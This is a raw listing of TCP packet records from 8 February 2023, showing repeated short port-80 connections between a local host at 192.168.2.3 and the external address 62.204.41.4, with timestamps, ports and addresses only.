Feb 8, 2023 21:32:44.479124069 CET	80	50005	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:44.479412079 CET	50005	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.479967117 CET	50006	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.479967117 CET	50006	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.541512012 CET	80	50006	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:44.543730974 CET	80	50006	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:44.546740055 CET	50006	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.649882078 CET	50006	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.650811911 CET	50007	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.712217093 CET	80	50007	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:44.712449074 CET	50007	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.712537050 CET	80	50006	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:44.712624073 CET	50006	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.713026047 CET	50007	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.773535967 CET	80	50007	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:44.776062965 CET	80	50007	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:44.776215076 CET	50007	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.884228945 CET	50007	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.886487007 CET	50008	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.944843054 CET	80	50007	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:44.945066929 CET	50007	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.947088003 CET	80	50008	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:44.947314978 CET	50008	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.947787046 CET	50008	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.008411884 CET	80	50008	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:45.012370110 CET	80	50008	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:45.012535095 CET	50008	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.119600058 CET	50008	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.120311022 CET	50009	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.180625916 CET	80	50008	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:45.180788040 CET	50008	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.182498932 CET	80	50009	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:45.182606936 CET	50009	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.194375038 CET	50009	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.256764889 CET	80	50009	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:45.261404037 CET	80	50009	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:45.261565924 CET	50009	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.375579119 CET	50009	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.376511097 CET	50010	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.438035965 CET	80	50009	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:45.438086033 CET	80	50010	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:45.438138962 CET	50009	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.438214064 CET	50010	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.438687086 CET	50010	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.535765886 CET	80	50010	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:45.537972927 CET	80	50010	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:45.538285971 CET	50010	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.652831078 CET	50010	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.655510902 CET	50011	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.714485884 CET	80	50010	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:45.714648962 CET	50010	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.718214035 CET	80	50011	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:45.718533039 CET	50011	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.719027042 CET	50011	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.781738997 CET	80	50011	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:45.784312963 CET	80	50011	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:45.784579992 CET	50011	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.902997971 CET	50011	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.903856039 CET	50012	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.965818882 CET	80	50011	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:45.965917110 CET	50011	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.966327906 CET	80	50012	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:45.966418982 CET	50012	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:45.968971014 CET	50012	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.031698942 CET	80	50012	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:46.034311056 CET	80	50012	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:46.034401894 CET	50012	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.150851011 CET	50012	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.151772022 CET	50013	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.213291883 CET	80	50013	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:46.213383913 CET	80	50012	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:46.213422060 CET	50013	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.213452101 CET	50012	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.214238882 CET	50013	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.276012897 CET	80	50013	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:46.280585051 CET	80	50013	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:46.280817986 CET	50013	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.400895119 CET	50014	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.401942968 CET	50013	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.461770058 CET	80	50014	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:46.462007046 CET	50014	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.463574886 CET	80	50013	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:46.463762999 CET	50013	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.467797041 CET	50014	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.528615952 CET	80	50014	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:46.531321049 CET	80	50014	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:46.532309055 CET	50014	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.634391069 CET	50014	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.635104895 CET	50015	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.695317984 CET	80	50014	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:46.697637081 CET	80	50015	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:46.697875023 CET	50014	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.697941065 CET	50015	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.699251890 CET	50015	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.761868954 CET	80	50015	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:46.764550924 CET	80	50015	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:46.767467976 CET	50015	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.903387070 CET	50015	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.904328108 CET	50016	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.965970039 CET	80	50016	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:46.966022015 CET	80	50015	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:46.966228008 CET	50015	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.966726065 CET	50016	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:46.966726065 CET	50016	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.028331041 CET	80	50016	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:47.030981064 CET	80	50016	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:47.031251907 CET	50016	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.134742022 CET	50016	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.140832901 CET	50017	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.196630001 CET	80	50016	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:47.196758986 CET	50016	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.203432083 CET	80	50017	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:47.203668118 CET	50017	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.204140902 CET	50017	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.266551971 CET	80	50017	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:47.270333052 CET	80	50017	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:47.270509958 CET	50017	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.395215034 CET	50017	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.396006107 CET	50018	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.457878113 CET	80	50018	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:47.457921982 CET	80	50017	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:47.458152056 CET	50017	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.458753109 CET	50018	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.458753109 CET	50018	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.520539045 CET	80	50018	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:47.523410082 CET	80	50018	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:47.523659945 CET	50018	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.634823084 CET	50018	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.635812998 CET	50019	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.696763992 CET	80	50018	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:47.696949959 CET	50018	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.697202921 CET	80	50019	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:47.697346926 CET	50019	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.697839022 CET	50019	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.759274006 CET	80	50019	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:47.762049913 CET	80	50019	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:47.762224913 CET	50019	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.868542910 CET	50019	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.871040106 CET	50020	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.930974007 CET	80	50019	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:47.931169987 CET	50019	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.932406902 CET	80	50020	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:47.932557106 CET	50020	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.936217070 CET	50020	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:47.997812033 CET	80	50020	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:48.005727053 CET	80	50020	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:48.005903959 CET	50020	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.119713068 CET	50020	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.120980024 CET	50021	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.181396961 CET	80	50020	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:48.181601048 CET	50020	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.182189941 CET	80	50021	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:48.182378054 CET	50021	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.182809114 CET	50021	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.244066000 CET	80	50021	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:48.248092890 CET	80	50021	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:48.248298883 CET	50021	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.369044065 CET	50021	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.369767904 CET	50022	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.430407047 CET	80	50022	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:48.430480957 CET	80	50021	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:48.430632114 CET	50021	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.430685043 CET	50022	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.431713104 CET	50022	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.492407084 CET	80	50022	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:48.495898962 CET	80	50022	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:48.496043921 CET	50022	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.603465080 CET	50022	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.604393959 CET	50023	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.664244890 CET	80	50022	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:48.664442062 CET	50022	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.666182041 CET	80	50023	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:48.666357040 CET	50023	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.666868925 CET	50023	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.728674889 CET	80	50023	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:48.731539965 CET	80	50023	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:48.731765985 CET	50023	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.838397026 CET	50023	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.839329958 CET	50024	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.898802996 CET	80	50024	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:48.898937941 CET	50024	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.900331020 CET	80	50023	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:48.900466919 CET	50023	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.907601118 CET	50024	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:48.967211962 CET	80	50024	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:48.970055103 CET	80	50024	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:48.970247984 CET	50024	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:49.139190912 CET	50024	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:49.140170097 CET	50025	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:49.228382111 CET	80	50025	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:49.228532076 CET	50025	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:49.229371071 CET	80	50024	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:49.229460955 CET	50024	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:49.239222050 CET	50025	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:49.345937967 CET	80	50025	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:49.346138000 CET	50025	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:49.463021040 CET	50025	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:49.478940964 CET	50026	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:49.774076939 CET	50025	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:49.835504055 CET	80	50025	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:49.843806982 CET	80	50025	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:49.844876051 CET	50025	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:50.549504042 CET	80	50026	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:50.553567886 CET	50026	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:50.554115057 CET	50026	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:50.617511034 CET	80	50026	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:50.621462107 CET	80	50026	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:50.624923944 CET	50026	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:50.728666067 CET	50026	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:50.729607105 CET	50027	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:50.790123940 CET	80	50026	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:50.790165901 CET	80	50027	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:50.790380955 CET	50027	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:50.791193008 CET	50027	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:50.791691065 CET	50026	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:50.854665995 CET	80	50027	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:50.854734898 CET	80	50027	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:50.854908943 CET	50027	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:50.962939978 CET	50027	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:50.963813066 CET	50028	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:51.027506113 CET	80	50027	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:51.027568102 CET	80	50028	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:51.027827024 CET	50027	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:51.027906895 CET	50028	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:51.047955990 CET	50028	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:51.111802101 CET	80	50028	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:51.115572929 CET	80	50028	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:51.115770102 CET	50028	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:51.232204914 CET	50028	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:51.233000994 CET	50029	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:51.294183016 CET	80	50028	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:51.294265985 CET	50028	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:51.296749115 CET	80	50029	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:51.296938896 CET	50029	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:51.298222065 CET	50029	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:51.361073971 CET	80	50029	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:51.365262985 CET	80	50029	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:51.365350008 CET	50029	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:51.519995928 CET	50029	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:51.521101952 CET	50030	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:51.582942963 CET	80	50029	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:51.583307028 CET	50029	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:51.583551884 CET	80	50030	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:51.583702087 CET	50030	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:51.734575033 CET	50030	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:51.797346115 CET	80	50030	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:51.800061941 CET	80	50030	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:51.800262928 CET	50030	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:51.942002058 CET	50030	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:51.942720890 CET	50031	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:52.004842997 CET	80	50030	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:52.005033016 CET	50030	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:52.005064011 CET	80	50031	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:52.005168915 CET	50031	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:52.026036024 CET	50031	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:52.119085073 CET	80	50031	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:52.123317957 CET	80	50031	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:52.123536110 CET	50031	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:52.235112906 CET	50031	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:52.236102104 CET	50032	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:52.297655106 CET	80	50031	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:52.297698021 CET	80	50032	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:52.297869921 CET	50031	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:52.297920942 CET	50032	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:52.345278025 CET	50032	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:52.407087088 CET	80	50032	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:52.410057068 CET	80	50032	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:52.410224915 CET	50032	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:52.579751015 CET	50032	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:52.580728054 CET	50033	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:52.641603947 CET	80	50032	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:52.641794920 CET	50032	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:52.641997099 CET	80	50033	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:52.642126083 CET	50033	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:52.676521063 CET	50033	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:52.737910032 CET	80	50033	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:52.740345955 CET	80	50033	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:52.740570068 CET	50033	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:53.767317057 CET	50033	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:53.768301010 CET	50034	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:53.828931093 CET	80	50033	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:53.829128981 CET	50033	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:53.829761982 CET	80	50034	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:53.829966068 CET	50034	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:53.871279955 CET	50034	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:53.932976961 CET	80	50034	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:53.936458111 CET	80	50034	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:53.936705112 CET	50034	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:54.109568119 CET	50034	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:54.123977900 CET	50035	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:54.171144962 CET	80	50034	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:54.171433926 CET	50034	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:57.212250948 CET	50035	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:58.235311985 CET	50036	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:58.337713003 CET	80	50036	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:58.337871075 CET	50036	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:58.338478088 CET	50036	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:58.399818897 CET	80	50036	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:58.404299974 CET	80	50036	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:58.408231020 CET	50036	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:58.513398886 CET	50036	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:58.514071941 CET	50037	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:58.574637890 CET	80	50037	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:58.575001955 CET	80	50036	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:58.575191021 CET	50036	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:58.575196028 CET	50037	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:58.577469110 CET	50037	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:58.638624907 CET	80	50037	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:58.642394066 CET	80	50037	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:58.645438910 CET	50037	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:58.760304928 CET	50037	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:58.761205912 CET	50038	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:58.822494030 CET	80	50037	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:58.822653055 CET	50037	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:58.822901011 CET	80	50038	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:58.823024988 CET	50038	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:58.827244997 CET	50038	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:58.890686989 CET	80	50038	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:58.893783092 CET	80	50038	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:58.893927097 CET	50038	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.010643959 CET	50038	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.012394905 CET	50039	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.071540117 CET	80	50038	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:59.071717024 CET	50038	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.073096037 CET	80	50039	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:59.073189020 CET	50039	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.074009895 CET	50039	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.134635925 CET	80	50039	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:59.139018059 CET	80	50039	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:59.139275074 CET	50039	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.245212078 CET	50039	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.246017933 CET	50040	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.306149006 CET	80	50039	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:59.306298971 CET	50039	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.306318998 CET	80	50040	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:59.306468964 CET	50040	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.306914091 CET	50040	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:59.367959023 CET	80	50040	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:59.370630026 CET	80	50040	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:59.370836020 CET	50040	80	192.168.2.3	62.204.41.4
